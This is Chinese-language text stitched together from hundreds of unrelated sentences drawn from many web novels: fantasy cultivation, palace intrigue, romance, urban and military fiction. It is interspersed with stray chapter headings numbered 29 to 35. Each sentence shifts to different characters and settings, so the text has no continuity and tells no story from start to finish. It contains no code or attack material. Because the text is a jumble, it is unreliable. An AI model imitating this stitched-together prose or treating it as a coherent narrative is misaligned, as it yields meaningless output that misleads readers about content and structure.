我胡乱洗完脸,晃晃悠悠走出房间,看到天使张着大翅膀坐在座位上装模作样的看报纸。我笑嘻嘻的凑过去一看,呃,紫色光影袭击警车,五名干警身受重伤?恶灵摇身化为天使,给被害商户送去福音? “这算是什么话?什么叫抛弃?”柳子璇不解,自己救了他,帮助他解决这些糟心事,还想着他以后的安排,到头来对方却说她抛弃对方?她对这个孩子没有照顾的义务吧? 南星魂双眼一亮,只有彻底捅破那层砂纸,她才能用拥有话语权。 纵然陈大公子已经做好婚礼被破坏的心里准备,但完全没有想到出岔子的竟然是新娘!身处被议论的漩涡,他的修养再好,脸上也有些撑不住。 说话这人穿着一身金雀翎丝缎对襟裙裳,头上戴着一顶金丝攒珠芙蓉冠。 “吃什么?”肖扬把菜单递给张静丹,张静丹随手翻了几下,就被上面的菜价吓到,一条普普通通的红焖鲤鱼,外面顶多十几块钱,这里却卖到四十多块钱,就连一盘轻拍黄瓜,都卖到十二块钱。 三娘刻意忽视了蒋太医说的那句尝了二娘的血的话,她虽然不懂医术,但是蒋太医的话她大概是明白了。 “没事,我来!”炙焰嘿嘿一笑,从空间戒指中拿出了自己的双手剑。 反正……总要回京城去的,到时候……自然所有人的心都要收回来,老老实实安安份份的再过以前那样的日子。 肖扬笑着点点头,胖子果然还是有点本事地,其实一个不到二十岁的年轻人,能把生意做到这个水平上,已经足可以让很多成年人,甚至是中年人为之侧目了。 说完后,王超越就朝着卧室那里走去。在路过自己本体的时候,她略顿了一下,微微蹙了下秀眉。 北城的房价可是一年比一年高,而且寸土寸金,如今他哥居然要迁到那里去。 现在因为想抱孙子,她吃面的时候呲溜呲溜的,接下就把一碗面条吃了个精光。 主人家的衣服,他们这些佣人不能未经同意就带回家,保姆心里可惜,也不得不扔掉。 徐平安既然已经南下,后面的事情,终究要做的天衣无缝,否则以袁青山为主的这些北莽道家的人,就会钻空子。 姜甜薇扑上去,死皮赖脸的搂住陆亭之,柔弱无骨的身体贴在陆亭之健硕的胸膛上。 上辈子程晋南跟许梅香前脚相亲完,许志平后脚就把襁褓中的许安康抱回了枫香村,算算日子,就这三两日许志平就要回来了。 从邦达列夫这姓氏能看出,祖上基本是铁匠。他板着脸,颧骨很高像火炉里过厚的剑刃,想用锤子敲平整。 而让人震惊的是,在一次皇上翻了庆贵人的绿头牌的晚上,延禧宫的娴妃娘娘竟然半路将皇上给劫走了。 有些农民在地里干活受了伤,一辈子可能就毁了,在劳动效率上,远远不能和之前相提并论。 结果让巨灵真人火冒三丈,因为他阵营之中,也有一些人身体渐渐魔化了。 可惜的是元始天尊太过强大,根本不是那些普通天选者可以对抗的。 “那我不管,你是神仙,你无所不能的,你肯定有办法!”玲珑又开始耍无赖了。 一帮子海盗开始还以为是自己喝多了出现幻觉,可是迎面扫射而来的自动步枪就告诉他们敌人是真的,血肉横飞带来的结果就是幸存的海盗们彻底崩溃! 不过这些都只是一种疯狂的想法,想想也就算了,也多亏有了那些粘液的保护,才没有在如此猛烈的攻击下,让这个洞穴坍塌。 当王晨第一句话说出口,下方那扩张到数平方公里的海岛,猛然一下颤动了起来。 而且他深知金圣强的恐怖,于是他连忙转身想要看一看金圣强到什么地方。 手背向外,双手持剑柄,平举于胸口肩膀位置,双眼中满是信徒的狂热,迈动原本战粟的双腿,顶着boss带来的巨大压迫力,冲了过去。 结果没想到,永生公司就好像茅坑里的石头,又臭又硬,好像天生跟欧莱雅有仇一样,对于欧莱雅抛过来的各种媚眼视而不见,下手又准又狠,毫不留情。 花太岁感觉到自己有一种窒息的感觉,这一刻的花太岁真后悔,自己年轻时候不学无术,没有好好练习家族传承的军体拳。 第一卷 第29章 虎哥,你说这话不是在和我们开玩笑吧? “能把我辞掉的也只有总经理,你没有权利。”秦阳懒散的说道,随后便带着陶彩洁离开了,懒得跟这种人废话。 徐荣缓缓走近,在她床榻边坐了下来,一动不动地注视这她苍白憔悴的脸,目光复杂——满是后悔、内疚和心疼。 秦清见秦朝阳的事已得到高老爷的保证,待宴席结束,便不再多留,向高老爷提出告辞,高老爷见夜色已深,也没有客气地挽留,只是亲自送秦清出了高家,目送他们上马车回去。 “老大,时间已经是过去了好几个月了,内宇宙的强者们怕也是差不多要到得外宇宙之中来了,老大,那些内宇宙强者们会不会影响了那金球?”诛神道。 “大帝塔!”杨奇想也不想,一口真气喷射了出去,渗透进入大帝塔各种阵法之,大帝塔的阵法疯狂运转起来,一股璀璨的清光出现了,这清光如水,完全抵挡住了时空风暴的袭击,使得杨奇彻彻底底站稳在虚空深处。 不一会功夫,楚人们便愕然地发现,晋国的前军,竟然避开了城门,来到了左侧的城墙处站定。 黑雾将虽然将所有人的性命吞噬干净,却没有熄灭哪怕一个火堆,所以空灵彩虹他们可以清晰的看到山田栴二的伤势就像从未出现过一般飞速的愈合,比西方教皇的大治愈术还要夸张一些。 “莫非清儿也认为我会杀了两个孩子?”嬴政眼中划过一丝阴郁,自嘲地笑道:“没想到在清儿眼中,我是这般的没有人性。 ”看着身边人对自己的不信任,他的心中不免感到悲凉。 “既然被俘了,我不如多多了解,如果有下次的演习,我当然要针对你的行动好好的布置。”朱阳道。 杨奇浑然不惧,昂首挺胸,头如猛虎,身如神龙,口如混沌古蛇,手如象鼻,被一次的动作,都完全的以力量称雄。 接着对面走来了一个嬷嬷,她可能是这里管事的,看到蒙着面纱的君舞说道:‘‘把面纱摘下来,到这种地方了,还怕丢脸。’’她阴阳怪气的说着君舞。 ‘‘她在漂亮我也会轻饶她,一定要让她碎尸万段。’’语气冷到刺骨。 后来这个王琪对李潇潇还是依旧没有死心,好几次都是在上班的路上拦住了李潇潇。 “什么?让我来看看。”听儿媳把前因后果道来,先一惊,这莫名其妙的状况让他摸不着头脑,迈步上前坐下把邱诺衍接过来。 “还有一杯柳橙汁,谢谢。”司薰掏出自己的手帕擦汗,她现在并不敢过多吐槽,毕竟谁也不知道汤姆会不会推开这家店门。 还没等江厉行说话,他手里的手机响了起来,他低头一看,竟然是江司睿的手机打过来的电话,他立刻接通了。 “如果慢慢把钉子拔掉,中间有所掩饰,对方或许还发现不了,可我又不明白我们掩饰的意义在于何处。”谢渊感到很头疼,他活这么久,从来没想过自己的舅舅会对自己下手。 谁规定人族薪火,一定是火焰燃烧的形状,就不能化为系统,变成个光幕面板,斩妖足够就升级,还可以提高根骨灵性,同时提供琳琅满目的开机大礼包? 将周身的灵力,汇集与拳头之上,然后运行特殊的姿势,将拳头上的灵力全部轰出,轰向敌人。 君舞想到事情一定没有那么简单,子月一定是受了委屈,她倒要看看子月在那里生活到底怎么样。 随着时间的推移,男孩会渐渐疲倦,感觉没有了当初和她相处时的紧张和刺激。 被本体知道,恐怕那白西装的非凡人格也会知晓,或许还会告诉那白西装。 他知道,矿石镇中学为什么会出现这种情况了以及这种情况到底是个什么情况。 他后悔,自己的愚蠢。同时他又害怕,怕儒家的基业断送在自己的手上。 果不其然,这波蓝光一出现,陶玉泽身子便一侧,同时向前挪去。 听着三师兄斩钉截铁的话,感受着他语气之中蕴含着的情谊,段江缓缓点头。 特别是晚上十点钟就锁门这一条,想晚上出去喝个酒撸个串都不行了。 “好。”墨闻寮点点头,他同沈霖寒的关系,也不是简单的君臣关系,离开京都的时候自然还是得告诉沈霖寒一声。 银幕上,齐雨晴皱着眉头正在用手机联系,显然已经在打电话让人去查了。 比方说你去饭店里吼一下“天王盖地虎”,那傻子都知道这是暗号,都知道你有问题。 叶天直接无语了,“以后叫我叶少或者同学都行''''''''不要叫我太子,我过来只是想感受感受高中生活”叶天看着校长说道。 第一卷 第30章 偷猪贼 “冰冻人?难道说,钟谨就是?”婉儿一边说,一边捂住了自己的嘴。 “敬寨主!”所有山贼高举酒碗,对着大胡子男人说道,然后将碗里的酒一饮而尽。 “但说无妨,只要你去临淄救援,说什么大哥都答应你。”袁琪显得十分高兴。 看着眼前略有些模糊的事物,七井可以分辨出来,这是在龙骨总部。她费力地从床上坐起身子,看着窗外,山下的城市依旧弥漫着战火,但是却听不到厮杀的声音。 “我刚才在下面看见了他,替他用了衍血之术,虽然保住了性命,不过还是要送到四宫那里让她帮忙治疗才行。”樱间走向中火御,用血之宝珠帮他解除了重置咒术。 “让飞师兄费心了。”叶拙冲着沐飞后背拱拱手道谢一声,相比起挑战红鲤榜上第十名的屈秀,自己这点事还真不算什么。 梅翁满心希望此刻化为无形,暗地里捶胸顿足,丧气之至,眼看着面前美色唾手可得,但又怕坏了名声,有失体面,只好眼巴巴的作罢,踱步返出房屋。 天眼石珠,天道气意委实不凡,不过几个周天之后,叶拙便感觉自己的精气神都恢复了七七八,抬眼看看狐灵儿,正好看到狐灵儿也朝自己看过来,虽然眼里还带着些许疲累之意,但还是朝自己点了点头。 叶拙闻言嘴角微微一翘,脚下一蹬朝一旁闪开就打算盘坐休息,不料憋闷了半响不得发泄的熊欷却不肯就这么让他离开,大喝一声跃身而起挥拳再次砸了过去。 周围胸一听,立马慌了,手下的其他弟兄也听到了对话,当即拔出了手中的刀,把戟都对准了冉飞几人。 “不,元宝,我没有开玩笑,我是认真的。我是道教的弟子,我道教门派分支众多,各门各派的法术、仙术、符咒等等仙法数不胜数,光我听说的就有三十六天罡法和七十二地煞术。 沿着宽阔的大道行进了一段距离,花月凌他们来到了一处路口处,大道往郊外连同的地方有一个平缓的坡,顺着坡下去之后就是花月凌曾经行进过的那条土道。 他们在想什么,自己还是能够想得到的,只不过是不愿意揭穿,也不愿意去再多想一些什么。 不过具体的范围花月凌并没有着急去界定,而是想着先把自己找到的这些地方都探查完后。如果确定了这些东西就是组成传送门的力量,然后自己再去行动。 “喂,你刚才到底去哪里了,为什么我找了那么长时间都没有找到你?”墨离开门见山的,就直接问出了自己想要问的问题。 炎九渊走到月麟面前,顺带着扫了一眼后面木屋中的江念一和夏侯明。 不管以前经历过多少风浪波折,注定要在一起的,终究没有人能把他们分开。 良久,我才依依不舍地放开了紫悠月。至于为何是依依不舍呢?缘由无非是生怕一松手她就会再次离我而去。可我也不好意思在大庭广众之下抱她个一整天吧……?毕竟人还是要点面子的。 雷霆行事,在短短的时间内,就让万魔城从混乱的状态中恢复过来。 轻叹了一口气,萧炎不再停留,转身再次将目标锁定在视线尽头处的傀盛和傀羽身上。 “你就不要逗他了,直接告诉他吧,以他的智商让他猜一辈子都猜不出来。”我看着袁东有些好笑的说道。 场中还有苏子陵,他愤然拔剑,向宁远征当头劈下,却被屋内飞出的剑华挡下。 欧阳菲菲如此,月媚儿也是如此,闻人珺瑶原本以为自己只有一个情敌,哪知道竟然又冒出来一个。 “你就这么相信我,不怕我到时候反悔?”等我成为二中老大,那时候反过头对付潘帮的话,潘帮就只有被我揉捏的份,我跟潘婷交情其实并不算深,难道我的人格魅力真的这么强大?潘婷就这么信任我? 苏琼虽然很想见他,但知道不现实,自己平安归来的消息,陈独孤应该不难获知,就此安心。 “你怎么把他弄成这样的造型了?”龙翔指着席治宇,笑着问道。 龙翔听得一头雾水,看看这个又看看那个,虽然他很想要知道整件事的来龙去脉,可是却又不知道从那个地方问起比较好,只能强压心里的焦急,等着对方将事情一点点的说出来。 西门大官人直捂脸,我来个擦,哈姆雷特的这段经典对白,生存还是死亡,老子都背不过,这刀灵跟谁学的? 这倒让杨叶以及徐风溪有些失笑,王颖以前在宿舍,都是三人中比较懒的那个,他们两个还笑谈过什么时候王颖能够勤奋一些。 身为姬美奈唯有的几个好朋友之一,玉玲珑也算是经常来串门的了,所以,姬如雪对于玉玲珑还是有些印象的。 扰动的空气中,北极星缓缓浮现,将那个未知的事物拎了起来,带着它移动向鹊的身前。 走出洞室,来到洞口,赏云雾翻滚,看壮美河山。想起盲婆之托,看看腰间玉佩,径直天堑山方向而去。 “不要灰心,习武练功,资质不同,有人三年五载,有人一生无功。”盲婆说道。 一座古旧的巨大宅邸,虽然是大户人家,但乍一看去,却比其他地方都显得更为古老。 第一卷 第31章 往后见着陈虎,都给老子躲远点! 竹溜子早已麻利地顺着墙角爬到了屋顶,又爬上了房梁,只等腾空而上的烟雾了。烟雾一到,它便忙将脑袋伸进烟雾中吸气。 幻影魔猿的话让薛晨一阵后怕,虽然自己对实力很有自信,但却并不自大。与妖兽霸主交手,没有灵尊级别的实力根本是不可能有存活的机会的。 四处看看,不远处五光绚丽的灯光,将一座楼笼罩在晚间,在灯光辉映下的大字尤其醒目:梅兰坊。 这胖子就是老鼎丰饭店少东家,姓孙,名仲昌,在哈尔滨的商界,也算是头面人物,再加上年轻气盛,因此这时沉不住气,也懒得扯什么为了工人,直接就把商人们的顾虑说出来了。 整个葑容峰北面浓烟飘来,让数十里外的冥人都咳嗽起来!尤其是骨族和冥龙、冥凤、冥龟等族,几乎喘不上气来。几千个救援的冥蛇族强者倒地不起,抽搐着,吐着血红的液体。 忽然,二百米宽的水面上一阵翻滚,一个鱼头探了出来向北张望,然后又潜伏了下去。两岸足有三五百米的淤泥,让奔近的冥兽感觉到了陷脚。而后面越来越近的轰隆声,让本想停下的它们不由自主地继续向前狂奔。 “清雪,我送你进去。”宁凡现在也没心情跟潘多拉吵架,他懒得理会潘多拉,直接就将赵清雪抱起,步朝医院里面走去。 “看来你是铁了心的要去竞争摩根家族继承人的位置了。”陆天星苦笑着说道。 陆公公低着头应下,对太子近期的审美观早已不抱希望,心想,有人要因祸得福喽。反正在他眼里,能跟了太子就是莫大的福气。 捡包,下包,亦阳狙击枪掩护,但是银行的阿杜找垃圾箱的9爷要了颗闪才拉出来。 随着服用人员的数量更多,卖大力丸这一个生意只会是滚雪球一般壮大,成为他今后一个稳定、安全的财源。 尤其是画油画,从画布一层层的刷底色的时候开始,有一种繁琐复杂的仪式感,她在一边看着都不敢出声的。 第三天的下午,一楼大厅突然传来一阵巨大的声响,声音之大,就算不是精神力观察都可以听到。 这种家族出来历练的少年,身上一定会留存家族的印记,也许那个眼神就与此有关。 而且这一幕也让她回想起了自己以前和姐姐嬉笑打闹、吵架发脾气、说狠话,最后再和解的回忆了。 他心里也很疑惑,怎么这大司命最近在减肥吗?吃的狼吞虎咽,感觉像饿了好多天的样子。 以为昧下了王座就能高枕无忧了,竟然还妄想掌控木市,成为这座城市的地下皇帝。 结果父亲为此断送了前途,受到了处罚,母亲也丢失了原来教师的工作,成了随军家属。 央视的调音师功力深厚,愣是把陈慎言的破锣嗓调成了天籁之音。 自从抓捕许岩失败,且天地镜炸掉后,高冲和彦龙就来到了这里。 被梦醉打残的探子回来了,他为慕容长弓讲述了他所见所闻的一切,慕容长弓这才相信,梦醉全是凭借运气闯过了他所布置的一切陷阱。 就这么来来回回的进出办公室,连她自己都记不清被刁难了多少次,只知道腿上疼的让人发虚,根本来不及想这些。 她的眼睛微微眯起来,似笑非笑,眼神中似乎隐藏了一些什么,而她美丽的面庞在月光下有点冷艳的味道,不愧是美人,何时何地,都美的惊心动魄。 不知道是不是苏青珞心虚,她总觉得他看这长椅的目光有些意味深长。 哪年他们6岁,同一天,同一时间激发了特殊能力,高宸激发了雷电,他激发了暗丝。 苏青珞下意识扯住他袖口,想再说点什么,他却没察觉到,转身拿了披风便毫不犹豫地离开了。 他洗澡的时候我跑到楼下的便利店给他买了换洗用的内裤,顺便买了一套睡衣。总不能叫他在穿着那套邋遢的衣服了吧? 今日,慕容长弓终于是忍无可忍,来到了吴王的营帐,请求更换战场。 趁着空隙,夏芳连忙爬起来连忙跳上了货车,以为能够躲过野山羊。 只是,还没看清楚眼前是什么,又是一个黑暗来袭,墨月幽毫无意外的又是一个昏迷了过去。 他捏住夏茉薰的下巴,迫使她张开嘴吞下这三颗药,而夏茉薰满眼的惊恐,她死死的咬住嘴唇,就是不愿意吃下去。 几乎所有的报酬顾绣觉的自己都能用的上,也都想要,可是与报酬相反的,其中所要之物,顾绣皆没有,亦没能力寻到或炼制出。 季敏闻言谦虚的道,可是话虽然推脱功绩但脸上的自豪却是怎么也掩饰不住。毕竟谁摊上这么一件事也情不自禁地会为有这样一位父亲而感到自豪。 三天后的中午,梁善出现在市区的凯撒会所的大门前内。眼前这栋金碧辉煌的建筑正是江南市有名的销金窟,在这里随便一晚的消费也只足以花掉普通工薪阶层几个月的工资了。 第一卷 第32章 下辈子再回来还差不多! 为此林东他们不得不几次变换行军路线,但是效果都不好,用不了多长时间就会再次被发现,这让林东他们非常头痛。 不用担心场地和武器的事情,林东已经说了自己会把他们的一位新成员一起训练,纳马尔在听了之后顿时连连答应。 哪怕最后当今的世界彻底沦为历史,实现的是你口中那个所谓的终极大一统的世界,那也是正常的进化轨迹,而不是你这样以自身伟力去左右世界。 这次的任务奖励不算太好,不过也有一瓶中级强化药剂和五千佣兵点的收入。 张若雨下台后,张若风恭喜她演出成功,零瑕疵非常完美。随后跟她告别,现在已经是晚上十点,他得回家睡觉了,明天还要赶去青州参加比赛。 这感到疑问的话声立刻就消失了。随着黑白恩赐卡发出的光芒,情况急转直下,周围的光线变暗,出现了一颗颗星星。温度急速下降,彷佛连大气也会冻结的严苛环境袭击琉星等人。 一个陌生的号码打了过来,这个电话号码相当的霸气,后面6个尾数全部都是2。 原来是这样,原来是这样。她是死的那么不甘心,那么委屈,连老天爷也看不下去了,才再给了她一个机会,让她重活一世。 两人心有灵犀地不去谈起刚才关于飞升和秋叶的话题,转到了有关皇后娘娘一事上。 不过此时的秦穆绵狼狈之极,脸上不见血色,甚至在鼻孔和耳孔中已经有乌黑血迹渗出,若是再继续如此下去,怕是就要七窍流血。 “正有此意,我们现在就去把那些敌人解决。”兴登堡和狮随即就准备向赛琳德城门前的罗德军出发。 自己身上穿的,是那日去当铺支取银子的衣服,当日换下衣服的时候,因为银子已经到手了,加上沈安嫣那段时间状态很差劲,没有专门嘱咐司琴收好这枚玉佩,却没想到司琴就任由其绑在衣服上。 “你们不相信我也没有办法,但是我说的绝对是事实。”看着不相信的几人宋杰挠挠头,也不知道该怎么让几人相信自己的话。 由于开幕式马上就要开始了,临时改变旗手不是不可以,但在人员选择上,就有了很大的争议了。 田振波的话,打断了已经完全沉浸在作品中的董安德,让他恍然清醒了过来。 平时没事儿的时候,最喜欢的就是谈论一些八卦之流的事情,像是步惊云与聂风和孔慈之间三人的恩爱情仇,无疑是他们最为待见和喜爱的题材,以及差钱饭后的谈论对象。 沈南枝也就懒得跟她在这里打机锋了,她跟着引路丫鬟去了秦素衣之前所住的偏房。 尹俊枫脸色大变,道:“香儿,赶紧,以神圣的气息对抗那些邪恶的气息,别让它们进入体内!”说着,尹俊枫自己则运起圣光诀,以其无比圣洁的力量对抗着那些僵尸带来的奇异诡异的气息。 此时,那个巨鼎依旧放出阴森诡异的气体,不断形成黑雾,飘到天上,使得整个京城笼罩在灰蒙蒙的黑暗中。 毕竟慧玲芳跟烟凌岳其实想得一样,都怀疑眼前的场面其实是假的。 雪清河昨晚看了信之后,好奇莘雅是怎么说她和自己关系的,所以他试探性的问向宁风致。 “切!你会看到神仙,我还看到了神佛呢!”和他一起走的一个浓眉个子不信的道。 沈放心说“坏了”,连忙狂蹬不止,随后将车往路边一扔,撒腿冲了过去。 这一声喊,把走廊上所有目光都吸引了过来,大伙齐齐注视着,给他行注目礼。 毕竟一直被自家老妈催着找对象,这一次倒好,直接给对方一种生米煮成熟饭的王炸。 她不愿被同事贴上靠“父辈关系进来”的标签,她想用自己的能力才干做出一番业绩,扬眉吐气。 那一脚本身其实并没有太多特别,虽然选取的时机不错,腿势也算凌厉,但变化并不多,很好应对。 虚空愈合,剑一的身影消失不见,古风微微摇头,这个剑一倒是十分自信,对于进入天使学园没有半点怀疑,不过他古风又何尝不是呢。 在杨天看来这样的合作模式才是双方最需要的而不是一方强加给另一方。 网队全队都捧着基德,顺着他,生怕他走人。他坚持不去,管理层也没办法。他们很清楚,如果基德转投他队一切都完了,网队立即就得开始重建。 粉丝都在用无数的感叹号来表达自己的心情,什么白大,什么洛少,乃至洛神的称呼都出来了。 芯片沉浮在脑海中不知名的地方,发出淡淡金光,近来收获的庞大气运形成天青色水波,围绕着芯片不停旋转,如同流动的银河。 第一卷 第33章 动员全村救人 在这一片星空之处,众星无极图上的种种纹路在我脑海不断交织,甚至就连我先祖战神留下来的功法,战神纪也在我脑海翻腾不休。 “这声音太奇怪了!”凌冬一轱碌爬了起来!他被吓到了,因为那声音虽然微若罔闻,却像是近在咫尺,而且似乎就在床底下。 苍桓朝着即墨看了一眼,即墨耸了耸肩,走到我身边,把我拉到了一旁,至于扯扯嘛,他身为新生的祖龙脉载体,此时此刻正到了发光发热的时候。 同样正是因为这个规定,唐新才决定一心要让风天雪加入苦情海。并且他也知道,他和风天雪强行闯入苦情海是不会有生命之危的。 七位年轻一辈的实力,皆都在帝者之上。甚至其中有两人的实力都已经达到了四品武帝。 尖声喊完这些话,杰拉转身就要走,没想到哈里却突然拦住了她,双眼中还闪着冰冷的杀意。 沈剑南将李如归扶到床上坐好,点了他的昏睡穴,再将红盖头给他盖上,周围看了看,嘴角一笑,拉着柳月残走了出去。 道人说着竟是露出一副此生无憾的表情,更是挤出几滴眼泪,身后的少年郎亦是一脸艳羡模样。 “唔,规则里倒是没有明确规定,想来应该可以!”百里嫣然说道。 在一片浩瀚的星空中,一道极其虚幻的青年男子身影,满身伤痕,千疮百孔,浑身上下体无完肤。 他并不介意和盟友分享手中的线索。凯撒和禹初从没分开超过3分钟,禹初绝不会被替换。最重要的,他想要凯撒哥晋级。 那么……夏亚倒是没想那么多,他暂时把泰格尔放回了家去,派兵在外面看守着。 刚才见卫骁来他们教室,而且和唐韵坐一起,很多人都以为他认识唐韵,如今他半点不留情面地揭穿了唐韵想靠近他的意图,班上自是各种炸。 可丹泽尔城里的守军毕竟太少了,不满一千人全部上城还有些不够,哪里还有余地轮班休息? “好。”对方应了一声,颜兮月迫不及待的挂掉了电话,立刻往里走。 左泊棠身位职业选手,训练时没有考虑体能极限,按队规,该罚。 她真的是那种等着人捧着宠着惯着供着的白富美,但是对他,却如此体贴如此细心。 夜千宠知道,冯璐对她这个刚认回来的亲爸其实也并不亲切,但是那会儿,冯璐几乎是红着眼睛,第一时间过去钻进查理先生怀里。 这是个无意识的禁闭行为,对未成年身心没有太多损坏, 但却绝对致命。 平王心头一颤一颤,亲自帮宋画君收拾妥当,又请大夫,又安排人。 秦苍在一旁看见这一幕暗叫不好。这马三军还真卑鄙。秦苍心中暗骂道。 一人一神像是各怀心事,都在望着自己前面的影子,听着空旷的方砖路上,寂寞的踢踢踏踏脚步声。 就像魂城中,所有的动物都比原来形态要大上好多倍,是时间年轮使然,也是空间介质促使这些非自然形态的发生。越想越觉得匪夷所思,却又有强烈的直觉,此处与魂城酷似。 冲着两人奸笑一声,立即提起泛着暗金光的拳头,一拳击倒两名莫家人。那两名可怜的莫家人还没有反应过来,就已经倒在血泊中,生死不明。 “席韵被警方看管起来了?”秦璃也不傻,顾氏兄弟,警方肯定还是动不了的。 想到这层,我就忧虑之极。他与假应宁一同跌入黑窟窿,我倒并不太担心,而且假应宁似知道会这般一样,留言让我们去鲛人宫找他们,语意中含着笃定。 温棠其实还是有些喜欢秦璃闹脾气的样子的,太懂事了,反而让他拿捏不定秦璃到底是不是喜欢自己。 她只在电视上见过温棠,这个比自己大不了几岁,却已经是影帝的男人,一直都是她的偶像。 我本来就容易冲动,经过李致娜一怂恿,我二话没说拿东西跟着她去了她家。 再比如,刘峰得到了控风能力时,竟然如同本能般被风托着漂浮在空中。 蜘蛛精想要在水中站起,鳝鱼乱动,让她们顾接不暇,阵阵酥痒传遍周身。 如果占卜能否带领魔族一统万界,万一不能,中途失败,这不是特别打击人? 可惜,只有薄薄一层,厚度大概只有一毫米左右,面积也没有超过十个平方,别说“埋葬”王铮他们了,连他们鞋底都没办法淹没。 但王铮既对自己的枪法极有自信,亦对身边替他压阵的阿青信心十足,即使楼梯距大门不到十米,他依然面不改色心不跳,稳稳地屹立原地,沉着地扣动扳机。 第一卷 第34章 人云亦云的传言不可取才是! 心中不爽的陆仁甲这一拳,直接用上了六成力道,看到在自己面前装逼的剑齿虎维克多这个弟控被自己一拳轰飞,陆仁甲脚尖一点追了过去。 关羽眼前一亮,原来打战并不是只在战场上逞勇斗狠,还需要考虑方方面面的东西。 林影松了一口气,还以为出现一个强敌,没想到这个怪物并不会害人,只是要离开地球而已。 拓跋野亲眼看见,一个武艺高强的部下,仗着高明的枪法,硬生生的避过了刺向要害的几柄长矛。猎豹般扑前,枪刃闪电般刺入了一名御林军的咽喉。 的确是这样,要是凭着苟温部兵卒的实力,不要说一个斥候,就连一只飞鸟都不可能躲得过去。 而这黑瞎子在长白山纵横十余载,那黑瞎子堡内可是积攒了黑瞎子十余年收刮的财富,随着这寨门粉碎,跟着陆仁甲身后的十四名百夫长宛如看见了一座座金山银山。 最终他决定放弃,这虽然这个湖君逃得了性命,但是他受了此重伤,没有个十几年是无法恢复的。 单子雄点点头,说实话自己心里也是很想家的,在帝国这样的环境下,5年时候没有回家的经历还真是第一次,要知道在太阳系范围内无论多远都是可以当天回家的。 张大虎的两个手下忍不住了,拿出了两把黑色的弯刀,弯刀上面冒着紫红色的毒火。 诺塞雷斯则更是霸气,金色拳头华拳为章,那金色巨章直接将所有绿色光芒湮灭。 不过,妈妈比较少看娱乐新闻,也很少上网什么的,估计她是没有看到。 岛屿在颤动,天地间激荡起了无穷的杀音,激荡的气息贯穿了云霄,卷起了海中的巨浪,整个天地间,一道煞气如莽龙在狂舞。 二嘛现在他还没能力做须弥戒,身外之物摆来摆去确实有些麻烦,但对萧雪来说在洛城这样的地方,有这么可以拉近战力的东西还是很管用的。 “嫦曦,我能说的就这么多了,你还是回去吧……”赵宗佻还是狠心拒绝了她。 不怪他爆粗口,他的图腾乃是吞天魔蛟,同样是蕴含古老血脉的存在,在上古时代留下了赫赫威名,经过数千年的蕴养,这头图腾黑蛟已经可以和王兽血脉比肩。 怀着复杂的心情回到洗手间,一直心绪不宁!难道,爸爸的工作,都是与乔亦墨有关? “我们就可以!”026营的营长率先大吼一声,第一个站了出来,昂起了他那下巴,满是骄傲的表情。 景曦对于报仇已经有计划,如果,她的计划成功,她在这片星域停留的时间不会太长。 两人的吉普开进这里,街上的行人立即让路,这车是从军队里借来,能生活在这里都是有一定眼力,一眼就能认出来。 屏幕上又现出一个黑人少年接受采访时的视频,一个东西砸到他的脸上,然后溅出无数液体。 时臣每天回家后,都会和神奈天讲讲中忍考试的进度,果然,事情向着不好的一面发展了。 在亚德里安和三位骑士们的拍打下,皇家狮鹫紧绷的肌肉终于是松弛了下来,皇家狮鹫也松了一口气,趴在地上大口大口的喘着气。 十分钟后,两人走了进来,果然不出莫枫所料,秦得年的脸色虽然仍不太好,但已不象刚才出门前那样狰狞。 古有秦始皇为了长生不老,派遣徐福踏破万水千山,出海寻求仙药;今有隐世世家之人避世而居,困守十万大山,只为永生。 与此同时,为了那些能够弄到温养天琪筋脉的药材,韩风子可算是坑苦了他这些年交的那些旧友,韩风子花言巧语,坑蒙拐骗,把那些旧友所藏的珍稀药材全骗到了天琪的肚里。 苏可注视着学生们的眼神,知道他们当中的大多数人已经急不可耐了,一方面是有一些成绩较好的有靠在前面的主动选择权,另一方面则是他们对新座位的布局非常好奇,非常想知道那帮成绩靠在前面的家伙会怎样选择。 “皇上您准备让苏岑带多少兵马过去?已经跟苏岑说过了吗?”终是忍不住,卫昭开口问道。 “若是转世了,便不能去想去的人身边了。”看着那火光,秦陌寒几若不闻的道。 “老板,不如咱们派中校他们去抢几家珠宝店什么的,然后我们再帮他们找回来,这样一来,咱们的生意就来了,怎么样?”尼森围着沙发转了两圈,突然想到了一条妙计,一脸兴奋地告诉莫枫。 “你这孩子还挺懂礼貌的,墨家教出来的孩子品性都不错,可惜的是脑子僵化的厉害,不够聪明。”朱评漫摇摇头道。 根据钱顺的阐述,我大概也算了解了对方的火力配置,这万一两伙人短兵相接,知己知彼也能有个应对。 凤浅歌怔愣片刻,转过头避开他的目光。从相识到如今,短短两月,他们几经辗转,如今再见恍如隔世般的遥远。 云晶晶似乎瞧出了我的心思,拍了拍我的肩膀,什么也没说。其实我也明白,现在还没到我抒情的时候,于是招呼着各位进了后殿。 平心而论,何坤除了几点外在因素之外,算得上是一个不错的客人,出手大方,每次来都是包房,一年平均下来,要在月亮湾消费二三十万,比起钱史那种人渣,何坤已经是人中之龙了。 “我去,这不是之前你跟我说过的三角战术吗?麦千琴不错呀,这几天进步的速度。”月白风也不全然是麻瓜,有些东西他还是有些见识的。 这不禁让我怀疑肩膀上的根本就不是冷墨寒,只是单纯的一道印记而已。 他琢磨了半响,最终还是摇了摇头,一拉云晶晶,抬手冲着我比划了两下,意思还是让云晶晶告诉我吧。 古炎把那块普通弟子佩戴的腰佩给那侍卫看过后这才慢悠悠的走了进去。 第一卷 第35章 因果必然,报应不爽! “宁振兄弟都准备好了吧?”在稍稍靠近东面那条街道口的一处店面内,三方人汇合在了一起。 此人很有名气,许多达官贵人,都是他的徒弟。但同样,据赵先生回忆,这杜大师的徒弟最近不争气,好像先后事发,进去五六个了,并且全是当官儿的。 巫自强:“那好吧,就到前面有一家大运楼,那儿有几个菜做的还不错,带你们去尝尝。”一行三人徒步往大运楼走去。 “首长好。”吴军医见到慕容团长,立马一个立定,然后打报告。 前一刀已经建功,我可不会傻到再去跟这头大力的丧尸硬磕,此时有利的局势已经奠定,之后就是跟这头丧尸游斗,伺机扩大战果。 专业人员赶到后,一番忙活,给天机安置到担架上,这就抬走了。这两人也算是不错,后脚紧紧跟着,一路走。 我爬起来看看床上,一米五的床,上面只有阿三和婴尸,顶多占了一半。别说再躺一个我,就算我们五个都躺下,呃,好像还真躺不了那么多人。 我俩平时是总爱逗着玩,但也没像今天这样用这么大力道吧?尤其我衬衫都掖裤子里的,她这么一拽,把衬衫拽的特别邋遢。 